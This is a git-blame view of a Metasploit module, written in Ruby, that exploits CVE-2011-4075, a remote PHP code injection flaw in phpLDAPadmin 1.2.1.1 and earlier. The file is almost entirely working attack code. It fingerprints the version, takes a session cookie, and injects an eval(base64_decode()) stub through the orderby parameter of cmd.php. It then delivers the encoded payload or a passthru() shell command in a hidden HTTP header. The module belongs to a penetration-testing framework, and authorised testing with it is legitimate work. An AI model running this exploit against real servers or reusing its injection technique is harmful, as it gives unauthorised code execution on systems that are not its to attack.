Files
metasploit-gs/modules/exploits/multi/http/phpldapadmin_query_engine.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

126 lines
3.5 KiB
Ruby
Raw Normal View History

2011-10-24 23:22:32 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-10-24 23:22:32 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2011-10-24 23:22:32 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'phpLDAPadmin query_engine Remote PHP Code Injection',
2011-10-24 23:22:32 +00:00
'Description' => %q{
This module exploits a vulnerability in the lib/functions.php for
phpLDAPadmin versions 1.2.1.1 and earlier that allows attackers input
parsed directly to the create_function() php function. A patch was
issued that uses a whitelist regex expression to check the user supplied
input before being parsed to the create_function() call.
2011-10-24 23:22:32 +00:00
},
'Author' =>
[
2011-12-29 10:57:00 -06:00
'EgiX <n0b0d13s[at]gmail.com>', # original discovery/poc
'mr_me <steventhomasseeley[at]gmail.com>', # msf
'TecR0c <roccogiovannicalvi[at]gmail.com >', # msf
2011-10-24 23:22:32 +00:00
],
'License' => MSF_LICENSE,
'References' =>
[
2012-03-15 04:40:27 -05:00
['CVE', '2011-4075'],
['OSVDB', '76594'],
2011-10-24 23:22:32 +00:00
['BID', '50331'],
2015-10-27 12:41:32 -05:00
['EDB', '18021']
2011-10-24 23:22:32 +00:00
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 4000,
'Keys' => ['php'],
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-10-24',
2011-10-24 23:22:32 +00:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
register_options(
[
OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
])
2011-10-24 23:22:32 +00:00
end
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
def check
2013-01-30 23:23:41 -06:00
uri = normalize_uri(datastore['URI'], 'index.php')
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
res = send_request_raw(
{
'method' => 'GET',
'uri' => uri,
}, 3)
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
2014-01-21 14:10:35 -06:00
return Exploit::CheckCode::Appears
2011-10-24 23:22:32 +00:00
end
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
def get_session
2013-01-30 23:23:41 -06:00
uri = normalize_uri(datastore['URI'], 'index.php')
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
res = send_request_raw(
{
'method' => 'GET',
'uri' => uri,
}, 3)
2013-08-30 16:28:54 -05:00
2014-05-13 22:56:12 +02:00
if res.nil? or res.get_cookies.empty?
2011-10-24 23:22:32 +00:00
print_error("Could not generate a valid session")
return
end
2013-08-30 16:28:54 -05:00
2014-05-13 22:56:12 +02:00
return res.get_cookies
2011-10-24 23:22:32 +00:00
end
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
def exploit
# if we are using the exec CMD stager
# important to check which php functions are disabled
2011-10-24 23:22:32 +00:00
if datastore['CMD']
p = "passthru(\"%s\");" % datastore['CMD']
p = Rex::Text.encode_base64(p)
2011-10-24 23:22:32 +00:00
else
p = Rex::Text.encode_base64(payload.encoded)
end
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
# Generate some random strings
hidden_header = rand_text_alpha_upper(6)
fake_func_name = rand_text_alpha_upper(2)
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
# build sttack string
php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
session = get_session
2013-08-30 16:28:54 -05:00
uri = normalize_uri(datastore['URI'])
2011-10-24 23:22:32 +00:00
uri << '/' if uri[-1,1] != '/'
uri << 'cmd.php'
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'data' => data,
'headers' =>
{
"#{hidden_header}" => p,
'Cookie' => session,
'Connection' => 'Close',
},
}, 3)
2013-08-30 16:28:54 -05:00
2011-10-24 23:22:32 +00:00
print_status("%s" % res.body) if datastore['CMD']
end
end